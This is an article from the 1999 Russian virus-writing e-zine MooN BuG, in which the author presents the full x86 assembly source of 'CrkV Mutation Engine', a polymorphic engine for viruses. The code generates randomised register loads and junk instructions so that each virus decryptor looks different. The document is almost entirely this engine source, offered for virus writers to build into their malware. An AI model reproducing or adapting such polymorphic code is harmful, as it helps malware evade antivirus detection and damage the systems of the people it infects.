╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│ CrkV │00E║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║ CrkV Mutation Engine ║
╚════════════════════════════════════════════════════════════════════════════╝
В данном номере я решил представить читателям свой простенький енджин для
вирусов с полиморфным расшифровщиком. Данный движок представляет из себя
несколько подпрограмм, которые генерируют заданные команды в буфер,
определяемый регистрами Es:Di. (Кстати, эти же команды используются и для
"мусора"). Единственное, что я хотел бы выделить, это использование команд 386
проца работы с битами - BT и BTS, что значительно упрощает выбор свободных
регистров. (См. подпрограммы GetFr[ee]R[egistr] GetFr[ee]R[egistr&]S[et]).
=== Cut === cvme.asm
;CrkV Mutation Engine
.386
Public LoadReg
Public LoadR2
Public Reg_Musor
Public Com_Musor
Public GetFrR
Public GetFrRS
Public Random
Public Rand04
Public Rand08
Public Rand16
;===================================================================
; 0123456789 123456789 123456789 123456789 123456789 123456789
;===================================================================
CSeg Segment Para USE16 'code'
Assume Cs:CSeg,Ds:CSeg,Ss:CSeg,Es:CSeg
CVME:
;-------------------------------------------------------
LoadR2 Proc
Push Ax
In Ax,40h
Test Al,10b
Pop Ax
Jz LoadReg
;команды Mov Rg16,Im16 (Random1)
; несколько мусора
; Add (Sub, Xor)
Push Bx Ax Cx
Xchg Ax,Cx
In Ax,40h
Push Ax
Xchg Cx,Ax
Call LoadReg
Mov Al,81h
Stosb
Pop Cx Bx ;Cx:=Rand1
Call Rand08
Cmp Al,01h
Pop Ax
Jg @Xor
Je @Sub
Or Al,11000000b ;11000xxxb (Add R16,Im16)
@CM00: Sub Bx,Cx
Jmp @CR2
@Sub: Or Al,11101000b ;11101xxxb (Sub R16,Im16)
Xchg Bx,Cx
Jmp @CM00
@Xor: Or Al,11110000b ;11110xxxb (Xor R16,Im16)
Xor Bx,Cx
@CR2: StoSB
Xchg Ax,Bx
StoSW
Pop Bx
Ret
LoadR2 Endp
;-------------------------------------------------------
LoadReg Proc
;генерирует команду(ы) загрузки регистра
;Ax - используемый регистр
;Cx - значение
;Es:Di - буфер
;на выходе: Es:Di - буфер для новой команды
Push Ax
In Ax,40h
Test Al,100b
Pop Ax
Je LM1
;---------------------------
LM0 Proc
;команда Mov Rg16,Im
Push Ax
Or Al,10111000b ;Mov Rg16,Im
StoSB
XChg Cx,Ax
StoSW
Pop Ax
Ret
LM0 Endp
;---------------------------
LM1 Proc
;команды Push Im16
; несколько мусора
; Pop R16
Or Al,01011000b ;Pop R16
Push Ax
Mov Al,68h ;Push Im16
StoSB
XChg Cx,Ax
StoSW
Test Dh,00000100b ;мусор нужен ???
Jz @NoRbL1
Call GetMDx
@NoRbL1:Pop Ax
StoSB
Ret
LM1 Endp
;---------------------------
LoadReg Endp
;-------------------------------------------------------
GetFrR Proc
;(Вых) Al - свободный регистр
@NextR: Call Rand08
Bt Dx,Ax
Jc @NextR ;Регистр уже используется
Ret
GetFrR Endp
;-------------------------------------------------------
GetFrRS Proc
;(Вых) Al - свободный регистр (объявляется занятым)
@NextRS:Call Rand08
Bts Dx,Ax
Jc @NextRS ;Регистр уже используется
Ret
GetFrRS Endp
;-------------------------------------------------------
GetMus Proc
;генерирует мусор
Push Ax Bx Cx
Sub Cx,Cx
Call Rand16
Test Al,1100b ;Без команды (00xxb)
Jz @G00
Call RndSt2
Cmp Al,0110b
Jg @M01
Call RndID
@M01: Call RndCom
@M02: Call RndStDx
Call ClrStack
@G00: Pop Cx Bx Ax
Ret
GetMus Endp
;-------------------------------------------------------
Com_Musor:
StoSB
Reg_Musor:
GetMDx Proc
Test Dh,00000001b ;мусор нужен ???
Jz @NoM01
Call GetMus
@NoM01: Ret
GetMDx Endp
;-------------------------------------------------------
Random Proc
Push Cx Dx
In Ax,40h
Sub Dx,Dx
Sub Cx,Cx
Mov Cl,Al
JCxZ Random + 2
Div Cx
In Al,40h
Mov Ah,Dh
Pop Dx Cx
Ret
Random EndP
;-------------------------------------------------------
Rand04 Proc
In Ax,40h
And Ax,11b
Ret
Rand04 EndP
;-------------------------------------------------------
Rand08 Proc
In Ax,40h
And Ax,111b
Ret
Rand08 EndP
;-------------------------------------------------------
Rand16 Proc
Call Random
And Ax,1111b
Ret
Rand16 EndP
;-------------------------------------------------------
Push16 Proc
;генерирует команду помещения в стек
Push Ax
Call Random
And Ax,111b
Cmp Al,01h
Jge @P_00
Mov Al,68h ;Push Im16 (00h)
StoSB
In Ax,40h
StoSW
Pop Ax
Ret
@P_00: Jne @P_01
Mov Al,6Ah ;Push Im8 (01h)
StoSB
In Al,40h
@P_ExB: StoSB
Pop Ax
Ret
@P_01: Cmp Al,05h
Jne @P_05
Mov Al,9Ch ;PushF (05h)
Jmp @P_ExB
@P_05: Jg @P_08
Call Rand04
Shl Al,3
Or Al,00000110b ;000xx110 Push SR (03h,04h)
Jmp @P_ExB
@P_08: Call Rand08
Or Al,01010000b ;01010xxx Push R16 (06h-08h)
Jmp @P_ExB
Push16 EndP
;-------------------------------------------------------
RndStack Proc
;генерирует случайные команды работы со стеком
Push Ax
In Ax,40h
Test Al,11b
Jnz @ExP00
Call Push16
Inc Cx
@ExP00: In Ax,40h
Test Al,11100b
Jnz @ExP01
JCxZ @ExP01 ;В стеке ничего нет
Call GetFrR
Or Al,01011000b ;01011xxx Pop R16
StoSB
Dec Cx
@ExP01: Pop Ax
Ret
RndStack EndP
;-------------------------------------------------------
RndStDx Proc
Test Dh,00000010b ;мусор нужен ???
Jz @NoMSt
Call RndStack
@NoMSt: Ret
RndStDx EndP
;-------------------------------------------------------
RndSt2 Proc
Call RndStDx
Jmp RndStDx
RndSt2 EndP
;-------------------------------------------------------
ClrStack Proc
JCxZ @ExCS ;В стеке ничего нет
Push Ax
@LpCS: Call GetFrR
Or Al,01011000b ;01011xxx Pop R16
StoSB
Loop @LpCS
Pop Ax
@ExCs: Ret
ClrStack EndP
;-------------------------------------------------------
RndID Proc
Push Ax
In Ax,40h
Mov Bl,01000000b ;Inc (00h)
Test Al,001b
Jne @MID00
Mov Bl,01001000b ;Dec (01h)
@MID00: Call GetFrR
Or Al,Bl
StoSB
Pop Ax
Ret
RndID EndP
;-------------------------------------------------------
RndCom Proc
Push Ax Bx
Call Random
Test Al,111b
Jnz @NMov
Call GetFrR
Or Al,0B8h ;10111xxx - Mov R16,Im
StoSB
Jmp @ExRC16
@NMov: Call Rand08
Shl Al,3 ;00xxx011b - команда
Or Ax,00000011b ;Устанавливаем биты направления и разр.
StoSB
In Ax,40h
And Al,11000111b ;Reg1
Xchg Ax,Bx
Call GetFrR
Shl Al,3
Or Al,Bl
StoSB ;Byte R/M
Shr Al,6
Cmp Al,10b
Jg @ExRC ;Com R16,R16
Je @ExRC16 ;Com R16,[RBI+Ofs16]
Cmp Bl,00000110b ;Com R16,[Mem]
Je @ExRC16
Cmp Al,00h ;Com R16,[RBI]
Je @ExRC
In Ax,40h
StoSB
Jmp @ExRC
@ExRC16:In Ax,40h
StoSW
@ExRC: Pop Bx Ax
Ret
RndCom EndP
;-------------------------------------------------------
CRight db 'CrkV Mutation Engine [CVME] 1.01'
;-------------------------------------------------------
CSeg EndS
End CVME
=== Cut ===